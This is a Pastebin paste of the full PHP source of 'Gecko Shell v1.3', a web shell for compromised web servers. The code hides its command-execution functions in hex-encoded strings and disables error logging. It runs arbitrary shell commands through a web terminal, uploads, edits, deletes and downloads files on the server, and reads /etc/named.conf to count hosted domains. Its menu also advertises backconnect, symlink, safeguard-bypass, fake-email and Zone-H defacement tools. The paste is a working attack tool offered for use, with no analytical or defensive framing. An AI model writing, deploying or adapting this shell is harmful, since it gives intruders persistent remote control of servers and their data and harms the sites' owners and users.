willysec_id

Gecko WebShell

Aug 21st, 2022 (edited)
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 28.48 KB | Cybersecurity | 0 0
  1. <?php
  2.  
  3. @set_time_limit(0);
  4. @clearstatcache();
  5. @ini_set('error_log', NULL);
  6. @ini_set('log_errors', 0);
  7. @ini_set('max_execution_time', 0);
  8. @ini_set('output_buffering', 0);
  9. @ini_set('display_errors', 0);
  10.  
  11. // SET ARRAY
  12. $Array = [
  13.     '676c6f62', // glob => 0
  14.     '676574637764', // getcwd => 1
  15.     '7b2e5b212e5d2c7d2a', // glob finder => 2
  16.     '6368646972', // Chdir => 3
  17.     '7068705f756e616d65', // uname => 4
  18.     '6765745f63757272656e745f75736572', // user => 5
  19.     '73797374656d', // system => 6
  20.     '7368656c6c5f65786563', // shell_exec => 7
  21.     '65786563', // exec => 8
  22.     '7061737374687275', // passthru => 9
  23.     '706f70656e', // popen => 10
  24.     '70636c6f7365', // pclose => 11
  25.     '70726f635f6f70656e', // proc_open => 12
  26.     '66696c655f6765745f636f6e74656e7473', // file_get_contents => 13
  27.     '66696c655f7075745f636f6e74656e7473', // file_put_contents => 14
  28.     '636f7079', // copy => 15
  29.     '6d6f7665645f75706c6f616465645f66696c65', // moved_uploaded_file => 16
  30.     '746f756368', // touch => 17
  31.     '6d6b646972', // mkdir => 18
  32.     '696e695f676574' // ini_get => 19
  33. ];
  34. $hitung_array = count($Array);
  35. for ($i = 0; $i < $hitung_array; $i++) {
  36.     $fungsi[] = unhex($Array[$i]);
  37. }
  38.  
  39. //Fungsional ada di sini
  40.  
  41. //Cek Domains
  42. function symlinkDomain($dom)
  43. {
  44.     $d0mains = @file("/etc/named.conf", false);
  45.     if (!$d0mains) {
  46.         $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>";
  47.         $GLOBALS["need_to_update_header"] = "true";
  48.     } else {
  49.         $count = 0;
  50.         foreach ($d0mains as $d0main) {
  51.             if (@strstr($d0main, "zone")) {
  52.                 preg_match_all('#zone "(.*)"#', $d0main, $domains);
  53.                 flush();
  54.                 if (strlen(trim($domains[1][0])) > 2) {
  55.                     flush();
  56.                     $count++;
  57.                 }
  58.             }
  59.         }
  60.         $dom = "$count Domain";
  61.     }
  62.     return $dom;
  63. }
  64.  
  65. // Terminal Mad
  66. function gecko_cmd($de)
  67. {
  68.     $out = '';
  69.     try {
  70.         if (function_exists('shell_exec')) {
  71.             return @$GLOBALS['fungsi'][7]($de);
  72.         } else if (function_exists('system')) {
  73.             @$GLOBALS['fungsi'][6]($de);
  74.         } else if (function_exists('exec')) {
  75.             $exec = array();
  76.             @$GLOBALS['fungsi'][8]($de, $exec);
  77.             $out = @join("\n", $exec);
  78.             return $exec;
  79.         } else if (function_exists('passthru')) {
  80.             @$GLOBALS['fungsi'][9]($de);
  81.         } else if (function_exists('popen') && function_exists('pclose')) {
  82.             if (is_resource($f = @$GLOBALS['fungsi'][10]($de, "r"))) {
  83.                 $out = "";
  84.                 while (!@feof($f))
  85.                     $out .= fread($f, 1024);
  86.                 return $out;
  87.                 $GLOBALS['fungsi'][11]($f);
  88.             }
  89.         } else if (function_exists('proc_open')) {
  90.             $pipes = array();
  91.             $process = @$GLOBALS['fungsi'][12]($de . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
  92.             $out = @stream_get_contents($pipes[1]);
  93.             return $out;
  94.         }
  95.     } catch (Exception $e) {
  96.     }
  97.     return $out;
  98. }
  99.  
  100. // CGI FUNCTION
  101. function cgi()
  102. {
  103.     if (gecko_cmd("python --help")) {
  104.         return "ON";
  105.     } else if (gecko_cmd("perl --help")) {
  106.         return "ON";
  107.     } else if (gecko_cmd("ruby --help")) {
  108.         return "ON";
  109.     } else {
  110.         return "OFF";
  111.     }
  112. }
  113. // Fungsi Menghapus folder dan file
  114. function unlinkDir($dir)
  115. {
  116.     $dirs = array($dir);
  117.     $files = array();
  118.     for ($i = 0;; $i++) {
  119.         if (isset($dirs[$i]))
  120.             $dir =  $dirs[$i];
  121.         else
  122.             break;
  123.  
  124.         if ($openDir = opendir($dir)) {
  125.             while ($readDir = @readdir($openDir)) {
  126.                 if ($readDir != "." && $readDir != "..") {
  127.  
  128.                     if (is_dir($dir . "/" . $readDir)) {
  129.                         $dirs[] = $dir . "/" . $readDir;
  130.                     } else {
  131.  
  132.                         $files[] = $dir . "/" . $readDir;
  133.                     }
  134.                 }
  135.             }
  136.         }
  137.     }
  138.  
  139.  
  140.  
  141.     foreach ($files as $file) {
  142.         unlink($file);
  143.     }
  144.     $dirs = array_reverse($dirs);
  145.     foreach ($dirs as $dir) {
  146.         rmdir($dir);
  147.     }
  148. }
  149.  
  150. // Format SIze
  151. function formatSize($bytes)
  152. {
  153.     $types = array('B', 'KB', 'MB', 'GB', 'TB');
  154.     for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
  155.     return (round($bytes, 2) . " " . $types[$i]);
  156. }
  157. // Function Encode & Decode
  158. function hex($n)
  159. {
  160.     $y = '';
  161.     for ($i = 0; $i < strlen($n); $i++) {
  162.         $y .= dechex(ord($n[$i]));
  163.     }
  164.     return $y;
  165. }
  166. function unhex($h)
  167. {
  168.     if (!is_string($h)) return null;
  169.     $r = '';
  170.     for ($a = 0; $a < strlen($h); $a += 2) {
  171.         $r .= chr(hexdec($h{
  172.             $a} . $h{
  173.             ($a + 1)}));
  174.     }
  175.     return $r;
  176. }
  177.  
  178. function perms($file)
  179. {
  180.     $perms = fileperms($file);
  181.     if (($perms & 0xC000) == 0xC000) {
  182.         // Socket
  183.         $info = 's';
  184.     } elseif (($perms & 0xA000) == 0xA000) {
  185.         // Symbolic Link
  186.         $info = 'l';
  187.     } elseif (($perms & 0x8000) == 0x8000) {
  188.         // Regular
  189.         $info = '-';
  190.     } elseif (($perms & 0x6000) == 0x6000) {
  191.         // Block special
  192.         $info = 'b';
  193.     } elseif (($perms & 0x4000) == 0x4000) {
  194.         // Directory
  195.         $info = 'd';
  196.     } elseif (($perms & 0x2000) == 0x2000) {
  197.         // Character special
  198.         $info = 'c';
  199.     } elseif (($perms & 0x1000) == 0x1000) {
  200.         // FIFO pipe
  201.         $info = 'p';
  202.     } else {
  203.         // Unknown
  204.         $info = 'u';
  205.     }
  206.     // Owner
  207.     $info .= (($perms & 0x0100) ? 'r' : '-');
  208.     $info .= (($perms & 0x0080) ? 'w' : '-');
  209.     $info .= (($perms & 0x0040) ?
  210.         (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
  211.     // Group
  212.     $info .= (($perms & 0x0020) ? 'r' : '-');
  213.     $info .= (($perms & 0x0010) ? 'w' : '-');
  214.     $info .= (($perms & 0x0008) ?
  215.         (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
  216.  
  217.     // World
  218.     $info .= (($perms & 0x0004) ? 'r' : '-');
  219.     $info .= (($perms & 0x0002) ? 'w' : '-');
  220.     $info .= (($perms & 0x0001) ?
  221.         (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
  222.     return $info;
  223. }
  224.  
  225. // Kenapa saya taruh di sini karena function download ini tidak bisa jika di taruh di bawah
  226. // Karena mempunyai fungsi header
  227. if (!empty($_GET['download'])) {
  228.     $nameNyafile = basename($_GET['download']);
  229.     $pathFilenya = getcwd() . "/" . $nameNyafile;
  230.     if (!empty($nameNyafile) && file_exists($pathFilenya)) {
  231.  
  232.         // Define Headers
  233.         header('Cache-control: public');
  234.         header('Content-Description: File Transfer');
  235.         header('Content-Type: application/octet-stream');
  236.         header('Content-Disposition: attachment; filename="' . $nameNyafile . '"');
  237.         header('Content-Transfer-Encoding: binary');
  238.         readfile($pathFilenya);
  239.         exit;
  240.     }
  241. }
  242.  
  243. ?>
  244.  
  245. <!DOCTYPE html>
  246. <html lang="en">
  247.  
  248. <head>
  249.     <meta charset="UTF-8">
  250.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  251.     <link rel="shortcut icon" href="gecko.png" type="image/x-icon">
  252.     <title>Gecko :: <?= $_SERVER['SERVER_NAME']; ?> ::</title>
  253.     <style>
  254.         @import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');
  255.  
  256.         body {
  257.             font-family: monospace;
  258.             color: white;
  259.             background-color: #111111;
  260.         }
  261.  
  262.         table {
  263.             width: 100%;
  264.         }
  265.  
  266.         h1 {
  267.             font-family: 'Press Start 2P', cursive;
  268.             text-shadow: 5px 5px 0px #008D8D;
  269.             animation-name: h1-gecko;
  270.             animation-duration: 1.3s;
  271.             animation-direction: alternate;
  272.             animation-iteration-count: infinite;
  273.             animation-fill-mode: both;
  274.         }
  275.  
  276.         @keyframes h1-gecko {
  277.             from {
  278.                 text-shadow: 5px 5px 0px #008D8D;
  279.             }
  280.  
  281.             to {
  282.                 text-shadow: 5px 5px 0px transparent;
  283.             }
  284.         }
  285.  
  286.         a {
  287.             text-decoration: none;
  288.             color: #008D8D;
  289.         }
  290.  
  291.         a:hover {
  292.             color: white;
  293.         }
  294.  
  295.         ul {
  296.             list-style: none;
  297.         }
  298.  
  299.         li {
  300.             margin-top: 5px;
  301.         }
  302.  
  303.         .bg-table {
  304.             background-color: #222222;
  305.         }
  306.  
  307.         .logo {
  308.             border: 1px solid #008D8D;
  309.             padding: 6px 10px;
  310.             margin-top: -5px;
  311.             margin-left: 10px;
  312.             /* border-radius: 10px; */
  313.             position: absolute;
  314.             z-index: 20;
  315.         }
  316.  
  317.         .h1-main {
  318.             text-align: center;
  319.         }
  320.  
  321.         .main-info {
  322.             font-size: small;
  323.         }
  324.  
  325.         .border-table {
  326.             border: 1px solid #008D8D;
  327.             padding: 5px;
  328.             border-radius: 10px;
  329.         }
  330.  
  331.         .main-border {
  332.             border: 1px solid #008D8D;
  333.             padding: 5px;
  334.             border-radius: 10px;
  335.         }
  336.  
  337.         .btn-gecko {
  338.             color: white;
  339.             background-color: #222222;
  340.             padding: 8px;
  341.             border-radius: 5px;
  342.             transition: 0.2s;
  343.         }
  344.  
  345.         .btn-gecko:hover {
  346.             color: #008D8D;
  347.             padding: 6px;
  348.             border-radius: 3px;
  349.         }
  350.  
  351.         .submit-gecko {
  352.             color: white;
  353.             background-color: #222222;
  354.             padding: 4px 14px;
  355.             border-radius: 5px;
  356.             cursor: pointer;
  357.         }
  358.  
  359.         .select-gecko {
  360.             color: white;
  361.             border: 1px outset white;
  362.             background-color: #222222;
  363.             padding: 4px 14px;
  364.             border-radius: 5px;
  365.             cursor: pointer;
  366.         }
  367.  
  368.         .preloader {
  369.             left: 0;
  370.             top: 0;
  371.             z-index: 99;
  372.             width: 100%;
  373.             position: fixed;
  374.             height: 100%;
  375.             background-color: black;
  376.         }
  377.  
  378.         .loading {
  379.             top: 50%;
  380.             left: 50%;
  381.             transform: translate(-50%, -50%);
  382.             position: absolute;
  383.         }
  384.  
  385.         .lds-facebook {
  386.             display: inline-block;
  387.             position: relative;
  388.             width: 80px;
  389.             height: 80px;
  390.         }
  391.  
  392.         .lds-facebook div {
  393.             display: inline-block;
  394.             position: absolute;
  395.             left: 8px;
  396.             width: 16px;
  397.             background: #fff;
  398.             animation: lds-facebook 1.2s cubic-bezier(0, 0.5, 0.5, 1) infinite;
  399.         }
  400.  
  401.         .lds-facebook div:nth-child(1) {
  402.             left: 8px;
  403.             animation-delay: -0.24s;
  404.         }
  405.  
  406.         .lds-facebook div:nth-child(2) {
  407.             left: 32px;
  408.             animation-delay: -0.12s;
  409.         }
  410.  
  411.         .lds-facebook div:nth-child(3) {
  412.             left: 56px;
  413.             animation-delay: 0;
  414.         }
  415.  
  416.         @keyframes lds-facebook {
  417.             0% {
  418.                 top: 8px;
  419.                 height: 64px;
  420.             }
  421.  
  422.             50%,
  423.             100% {
  424.                 top: 24px;
  425.                 height: 32px;
  426.             }
  427.         }
  428.  
  429.         .border-tools {
  430.             border-top: 1px solid #008D8D;
  431.             padding: 4px 0px;
  432.         }
  433.  
  434.         .gecko-tools li {
  435.             display: inline-block;
  436.             padding-top: 17px;
  437.         }
  438.  
  439.         #modal-box {
  440.             left: 0;
  441.             top: 0;
  442.             width: 100%;
  443.             height: 100%;
  444.             z-index: 98;
  445.             position: fixed;
  446.             background-color: rgba(0, 0, 0, 0.7);
  447.         }
  448.  
  449.         #modal-header {
  450.             padding: 10px;
  451.         }
  452.  
  453.         #close-btn {
  454.             color: white;
  455.             font-size: 20px;
  456.             transition: 0.1s;
  457.             float: right;
  458.             padding: 10px 20px;
  459.         }
  460.  
  461.         #close-btn:hover {
  462.             color: #008D8D;
  463.         }
  464.  
  465.         .textarea-gecko {
  466.             font-size: smaller;
  467.             width: 100%;
  468.             color: white;
  469.             background-color: #222222;
  470.         }
  471.  
  472.         .header-gecko-option li {
  473.             display: inline-block;
  474.  
  475.         }
  476.  
  477.         .input-file-gecko {
  478.             border: 1px dashed white;
  479.             padding: 1px;
  480.             border-radius: 4px;
  481.         }
  482.  
  483.         .buatDir {
  484.             width: 50%;
  485.             padding: 5px;
  486.             border-radius: 4px;
  487.             background-color: #222222;
  488.             color: white;
  489.  
  490.         }
  491.     </style>
  492. </head>
  493. <?php
  494. if (isset($_GET['path'])) {
  495.     $chdir = unhex($_GET['path']);
  496.     $fungsi[3]($chdir);
  497. } else {
  498.     $chdir = $fungsi[1]();
  499. }
  500.  
  501. $cwd = $fungsi[1]();
  502. $cariDir = $fungsi[0]($fungsi[2], GLOB_BRACE);
  503.  
  504. ?>
  505.  
  506. <body>
  507.     <div class="logo">
  508.         <b>Gecko <strong style="color:red;">v1.3</strong></b>
  509.         <br>
  510.         <b>Author : MrMad</b>
  511.     </div>
  512.     <div class="h1-main">
  513.         <h1>Gecko Shell</h1>
  514.     </div>
  515.     <div class="main-border">
  516.         <div class="main-info">
  517.             <ul>
  518.                 <li><b><?= $fungsi[4](); ?></b></li>
  519.                 <li><b><?= $_SERVER['SERVER_SOFTWARE']; ?></b></li>
  520.                 <li><b><?= "Server IP : " . $_SERVER['SERVER_ADDR'] . " Your IP : " . $_SERVER['REMOTE_ADDR']; ?></b></li>
  521.                 <li><b>CGI : <?= cgi(); ?></b></li>
  522.                 <li><b>Domains : <?= symlinkDomain($dom); ?></b></li>
  523.                 <li><b><?= $fungsi[5](); ?></b></li>
  524.                 <li>
  525.                     <form action="" method="post" enctype="multipart/form-data">
  526.                         <input type="file" name="gecko-files" class="input-file-gecko">
  527.                         <input type="submit" value="Upload" name="submit-gecko-files" class="submit-gecko">
  528.                     </form>
  529.                 </li>
  530.             </ul>
  531.             <div class="border-tools">
  532.                 <ul class="gecko-tools">
  533.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=read_function"; ?>" class="btn-gecko">-> Readble Function</a></li>
  534.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=create_folder"; ?>" class="btn-gecko">-> Create Folder</a></li>
  535.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=create_file"; ?>" class="btn-gecko">-> Create File</a></li>
  536.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=terminal"; ?>" class="btn-gecko">-> Terminal</a></li>
  537.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=backconnect"; ?>" class="btn-gecko">-> Backconnect</a></li>
  538.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=cgi"; ?>" class="btn-gecko">-> CGI</a></li>
  539.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=Symlink"; ?>" class="btn-gecko">-> Symlink</a></li>
  540.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=sql_manager"; ?>" class="btn-gecko">-> Sql Manager</a></li>
  541.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=fake_email"; ?>" class="btn-gecko">-> Fake Email</a></li>
  542.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=bypasser"; ?>" class="btn-gecko">-> Bypasser</a></li>
  543.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=zone_h"; ?>" class="btn-gecko">-> Zone-H</a></li>
  544.                     <li><a href="?path=<?php echo hex($fungsi[1]() . "/") . "&action=tools"; ?>" class="btn-gecko">-> Tools ++</a></li>
  545.                 </ul>
  546.             </div>
  547.         </div>
  548.     </div>
  549.     <br>
  550.     <div class="container">
  551.         <?php
  552.         $path = str_replace("\\", "/", $cwd); // untuk path garis windows
  553.         $pwd = explode("/", $path);
  554.         foreach ($pwd as $id => $val) {
  555.             if ($val == '' && $id == 0) {
  556.                 echo '<a href="?path=' . hex('/') . '">/ </a>';
  557.                 continue;
  558.             }
  559.             if ($val == '') continue;
  560.             echo '<a href="?path=';
  561.             for ($i = 0; $i <= $id; $i++) {
  562.                 echo hex($pwd[$i]);
  563.                 if ($i != $id) echo hex("/");
  564.             }
  565.             echo '">' . ucfirst($val) . ' / ' . '</a>';
  566.         }
  567.         echo '<a style="color:red;" href="?path=' . hex($_SERVER['DOCUMENT_ROOT']) . '">[ HOME SHELL ]</a>';
  568.         ?>
  569.     </div>
  570.     <br>
  571.     <div class="border-table">
  572.         <div class="preloader">
  573.             <div class="loading">
  574.                 <div class="lds-facebook">
  575.                     <div></div>
  576.                     <div></div>
  577.                     <div></div>
  578.                 </div>
  579.             </div>
  580.         </div>
  581.         <table>
  582.             <tr class="bg-table">
  583.                 <th style="width:30%; padding:7px;">Name</th>
  584.                 <th>Size</th>
  585.                 <th>Permission</th>
  586.                 <th>Owner/Group</th>
  587.                 <th>Action</th>
  588.             </tr>
  589.             <!-- DIRECTORY NYA BANG -->
  590.             <?php foreach ($cariDir as $Man) : ?>
  591.                 <?php if (is_dir($Man)) : ?>
  592.                     <form action="" method="post">
  593.                         <tr>
  594.                             <td><input type="checkbox" name="check-gecko[]" id="folder" value="<?= $Man; ?>">&nbsp;<label for="folder"><a href="?path=<?php echo hex($fungsi[1]() . "/" . $Man); ?>"><?= $Man; ?></label></a>
  595.                             <td style="text-align:center;">[ DIR ]</td>
  596.                             <td style="text-align:center;"><?php if (is_writable($fungsi[1]() . '/' . $Man)) echo '<font color="#00ff00">';
  597.                                                             elseif (!is_readable($fungsi[1]() . '/' . $Man)) echo '<font color="red">';
  598.                                                             echo perms($fungsi[1]() . '/' . $Man);
  599.                                                             if (is_writable($fungsi[1]() . '/' . $Man) || !is_readable($fungsi[1]() . '/' . $Man)) echo '</font>'; ?></td>
  600.                             <td style="text-align:center;"><?php $fileowner = posix_getpwuid(fileowner($Man));
  601.                                                             echo $fileowner["name"] . "/" . $fileowner["name"]; ?></td>
  602.                             <td style="text-align:center;"><a href="?path=<?php echo hex($fungsi[1]()) . "&action=rename&ff=" . $Man; ?>">R</a>&nbsp;<a href="?path=<?php echo hex($fungsi[1]()) . "&action=chmod&ff=" . $Man; ?>">G</a></td>
  603.                         </tr>
  604.                     <?php endif; ?>
  605.                 <?php endforeach; ?>
  606.                 <!-- FILE NYA BANG -->
  607.                 <?php foreach ($cariDir as $Man) : ?>
  608.                     <?php if (is_file($Man)) : ?>
  609.                         <?php $extension = strtolower(pathinfo($Man, PATHINFO_EXTENSION)); ?>
  610.                         <tr>
  611.                             <td><input type="checkbox" name="check-gecko[]" id="folder" value="<?= $Man; ?>">&nbsp;<label for="folder"><a href="?path=<?php echo hex($fungsi[1]()) . "&action=view&file=" . $Man; ?>"><?= $Man; ?></label></td>
  612.                             <td style="text-align:center;"><?= formatSize(filesize($Man)); ?></td>
  613.                             <td style="text-align:center;"><?php if (is_writable($fungsi[1]() . '/' . $Man)) echo '<font color="#00ff00">';
  614.                                                             elseif (!is_readable($fungsi[1]() . '/' . $Man)) echo '<font color="red">';
  615.                                                             echo perms($fungsi[1]() . '/' . $Man);
  616.                                                             if (is_writable($fungsi[1]() . '/' . $Man) || !is_readable($fungsi[1]() . '/' . $Man)) echo '</font>'; ?></td>
  617.                             <td style="text-align:center;"><?php $fileowner = posix_getpwuid(fileowner($Man));
  618.                                                             echo $fileowner["name"] . "/" . $fileowner["name"]; ?></td>
  619.                             <td style="text-align:center;"><a href="?path=<?php echo hex($fungsi[1]()) . "&action=rename&ff=" . $Man; ?>">R</a>&nbsp;<a href="?path=<?php echo hex($fungsi[1]()) . "&download=" . $Man; ?>">D</a>&nbsp;<a href="?path=<?php echo hex($fungsi[1]()) . "&action=chmod&file=" . $Man; ?>">G</a></td>
  620.                         </tr>
  621.                     <?php endif; ?>
  622.                 <?php endforeach; ?>
  623.         </table>
  624.     </div>
  625.     <br>
  626.     <select name="action-gecko" class="select-gecko" id="">
  627.         <option value="delete">Delete</option>
  628.         <option value="unzip">Unzip</option>
  629.     </select>
  630.     <input type="submit" value="Submit" name="gecko-submit" class="submit-gecko">
  631.     </form>
  632.     <!-- SCript Here -->
  633.     <script type="text/javascript" src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  634.     <script type="text/javascript">
  635.         $(document).ready(function() {
  636.             $('.preloader').delay(600).fadeOut();
  637.         });
  638.     </script>
  639.     <?php
  640.     // Statement disini
  641.  
  642.     if ($_GET['action']  == true) {
  643.         echo '<div class="modal" id="modal-box">';
  644.         echo '<a href="?path=' . hex($fungsi[1]()) . '" id="close-btn">&#88;</a>';
  645.         echo '<div class="modal-header" id="modal-header">';
  646.         echo '<ul class="header-gecko-option">';
  647.  
  648.  
  649.         // Header Fungsi
  650.         if ($_GET['action'] == "view" && $_GET['file'] == is_file($_GET['file'])) {
  651.             echo '
  652.                <li><b>File Name : ' . $_GET['file'] . '</b></li>
  653.                <li><a href="?path=' . hex($fungsi[1]()) . '&action=edit&file=' . $_GET['file'] . '"><b>[ Edit This File ]</b></a></li>
  654.            ';
  655.         } elseif ($_GET['action'] == "edit" && $_GET['file'] == is_file($_GET['file'])) {
  656.             echo '<li><b>File Name : ' . $_GET['file'] . '</b></li>';
  657.         } elseif ($_GET['action'] == "create_folder") {
  658.             echo '<li><b>Create Folder ++ </b></li>';
  659.         } elseif ($_GET['action'] == "create_file") {
  660.             echo '<li><b>Create File ++ </b></li>';
  661.         } elseif ($_GET['action'] == "read_function") {
  662.             echo '<li>- Readble_function -</li>';
  663.         } elseif ($_GET['action'] == "terminal") {
  664.             echo '<li>- Terminal -</li>';
  665.         } elseif ($_GET['action'] == "rename" && $_GET['ff'] == true) {
  666.             echo '<li>Rename : ' . $_GET['ff'] . '</li>';
  667.         }
  668.         echo '</ul>';
  669.  
  670.  
  671.         // Body Fungsi
  672.  
  673.  
  674.         echo '<div class="modal-body" id="modal-body">';
  675.         if ($_GET['action'] == "view" && $_GET['file'] == is_file($_GET['file'])) {
  676.             echo "<textarea class='textarea-gecko' rows='30'>" . htmlspecialchars($fungsi[13]($_GET['file'])) . "</textarea>";
  677.         } else if ($_GET['action'] == "edit" && $_GET['file'] == is_file($_GET['file'])) {
  678.             echo "
  679.            <form method='post'>
  680.            <textarea class='textarea-gecko' name='text-gecko' cols='30' rows='30'>" . htmlspecialchars($fungsi[13]($_GET['file'])) . "</textarea>
  681.            <input type='submit' value='Save' class='submit-gecko' name='geckoSub'>
  682.            </form>
  683.            ";
  684.         } elseif ($_GET['action'] == "create_folder") {
  685.             echo '
  686.            <center>
  687.            <form method="post">
  688.            <input type="text" name="buatDir" class="buatDir" placeholder="[ Name Folder ]">
  689.            <input type="submit" name="geckoSub" value="Submit" class="submit-gecko">
  690.            </form>
  691.            </center>
  692.            
  693.            ';
  694.         } elseif ($_GET['action'] == "create_file") {
  695.             echo '
  696.            <center>
  697.            <form method="post">
  698.            <input type="text" name="buatFile" class="buatDir" placeholder="[ Name File ]">
  699.            <input type="submit" name="geckoSub" value="Submit" class="submit-gecko">
  700.            </form>
  701.            </center>
  702.            
  703.            ';
  704.         } elseif ($_GET['action'] == "read_function") {
  705.             echo '<pre>';
  706.             $show_ds = (!empty(@$fungsi[19]("disable_functions"))) ? "<a href='#' class='ds'>" . @$fungsi[19]("disable_functions") . "</a>" : "<a href='#'><font color=green>All Function Is Accesible</font></a>";
  707.             echo "<b>      " . $show_ds . "</b>";
  708.             echo '</pre>';
  709.         } elseif ($_GET['action'] == "terminal") {
  710.             echo '<textarea class="textarea-gecko" cols="30" rows="30">';
  711.             if (isset($_POST['submit-terminal'])) {
  712.                 echo gecko_cmd($_POST['terminal-gecko'] . " 2>&1");
  713.             }
  714.             echo '</textarea>';
  715.             echo '<form method="post">
  716.            <label for="terminal-gecko">CMD : </label><input type="text" name="terminal-gecko" class="buatDir" autofocus>
  717.            <input type="submit" value="Submit" name="submit-terminal" class="submit-gecko">
  718.            </form>
  719.            ';
  720.         } elseif ($_GET['action'] == "rename" && $_GET['ff'] == true) {
  721.             echo '
  722.            <center>
  723.            <form method="post">
  724.            <input type="text" name="rename-gecko" class="buatDir" placeholder="[ Name File / Folder ]">
  725.            <input type="submit" name="submit-rename" value="Submit" class="submit-gecko">
  726.            </form>
  727.            </center>
  728.            ';
  729.         }
  730.         echo '</div>';
  731.         echo '</div>';
  732.         echo '</div>';
  733.     }
  734.     if (isset($_POST['geckoSub'])) {
  735.         $filenya = $_GET['file'];
  736.         if (is_file($filenya)) {
  737.             $hasilnya = $fungsi[14]($filenya, $_POST['text-gecko']);
  738.             if ($hasilnya) {
  739.                 echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success"; </script>';
  740.             } else {
  741.                 echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=failed"; </script>';
  742.             }
  743.         }
  744.         $_folder = $_POST['buatDir'];
  745.         $_file = $_POST['buatFile'];
  746.         if (@$fungsi[18]($fungsi[1]() . "/" . $_folder)) {
  747.             echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success"; </script>';
  748.         } else {
  749.             echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=failed"; </script>';
  750.         }
  751.         if (@$fungsi[17]($fungsi[1]() . "/" . $_file)) {
  752.             echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success"; </script>';
  753.         } else {
  754.             echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=failed"; </script>';
  755.         }
  756.     }
  757.  
  758.     if (isset($_POST['submit-rename'])) {
  759.         if (is_file($_GET['ff']) || is_dir($_GET['ff'])) {
  760.             // echo $_POST['rename-gecko'] . " " . $_GET['ff'];
  761.             $renameNya = rename($_GET['ff'], $_POST['rename-gecko']);
  762.             if ($renameNya) {
  763.                 echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success"; </script>';
  764.             } else {
  765.                 echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=failed"; </script>';
  766.             }
  767.         }
  768.     }
  769.  
  770.     if (isset($_POST['gecko-submit'])) {
  771.         $geckoCheck = $_POST['check-gecko'];
  772.         foreach ($geckoCheck as $gecko) {
  773.             if ($_POST['action-gecko'] == "delete") {
  774.                 if (file_exists($gecko) || is_dir($gecko)) {
  775.                     if (is_file($gecko)) {
  776.                         unlink($gecko);
  777.                         echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success"; </script>';
  778.                     } else if (is_dir($gecko)) {
  779.                         unlinkDir($gecko);
  780.                         echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success"; </script>';
  781.                     } else {
  782.                         echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=failed"; </script>';
  783.                     }
  784.                 }
  785.             }
  786.         }
  787.     }
  788.     if (isset($_POST['submit-gecko-files'])) {
  789.         $nameFiles = $_FILES['gecko-files']['name'];
  790.         $tmp_name = $_FILES['gecko-files']['tmp_name'];
  791.         if (@$fungsi[15]($tmp_name, $fungsi[1]() . "/" . $nameFiles)) {
  792.             echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success_upload"; </script>';
  793.         } else if (@$fungsi[16]($tmp_name, $fungsi[1]() . "/" . $nameFiles)) {
  794.             echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=success_upload"; </script>';
  795.         } else {
  796.             echo '<script> window.location = "?path=' . hex($fungsi[1]()) . '&response=failed"; </script>';
  797.         }
  798.     }
  799.     ?>
  800. </body>
  801.  
  802. </html>
Add Comment
Please, Sign In to add comment